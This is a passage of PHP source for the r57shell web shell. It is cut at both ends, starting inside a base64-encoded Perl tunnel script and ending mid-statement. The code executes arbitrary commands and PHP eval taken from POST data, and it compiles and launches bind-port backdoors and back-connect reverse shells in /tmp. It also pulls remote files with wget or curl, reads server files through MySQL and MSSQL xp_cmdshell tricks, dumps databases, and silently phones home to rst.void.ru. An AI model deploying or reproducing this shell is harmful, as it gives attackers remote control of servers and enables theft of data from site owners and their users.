+NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://rst.void.ru/r57shell_version/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#333333 width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#333333><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir."<br>"; +echo "</font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(empty($c1)||empty($c2)) { die(); } +$f = '<br>'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file") + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + @fwrite($file,$_POST['e_text']); + @fclose($file); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -p ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=122 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="db_show") + { + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mysql_query("SHOW DATABASES", $db); + while(($row=@mysql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + + $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); + while(($row2=@mysql_fetch_row($res2))) + { + echo " | - ".$row2[0]."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); + while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } + } + } + } + } + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mssql_query("sp_databases", $db); + while(($row=@mssql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + @mssql_select_db($row[0]); + $res2 = @mssql_query("sp_tables",$db); + while(($row2=@mssql_fetch_array($res2))) + { + if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') + { + echo " | - ".$row2['TABLE_NAME']."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mssql_query("sp_columns ".$row2[2],$db); + while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } + } + } + } + } + } + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); + while(($row=@pg_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ + $sqh = "# homepage: http://rst.void.ru\r\n"; + $sqh .= "# ---------------------------------\r\n"; + $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; + $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; + $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; + $sqh .= "# ---------------------------------\r\n\r\n"; + switch($_POST['db']){ + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mysql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MySQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); + $row = @mysql_fetch_row($res); + $sql1 .= $row[1]."\r\n\r\n"; + $sql1 .= "# ---------------------------------\r\n\r\n"; + $sql2 = ''; + $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); + if (@mysql_num_rows($res) > 0) { + while (($row = @mysql_fetch_assoc($res))) { + $keys = @implode("`, `", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mssql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MSSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); + if (@mssql_num_rows($res) > 0) { + while (($row = @mssql_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO 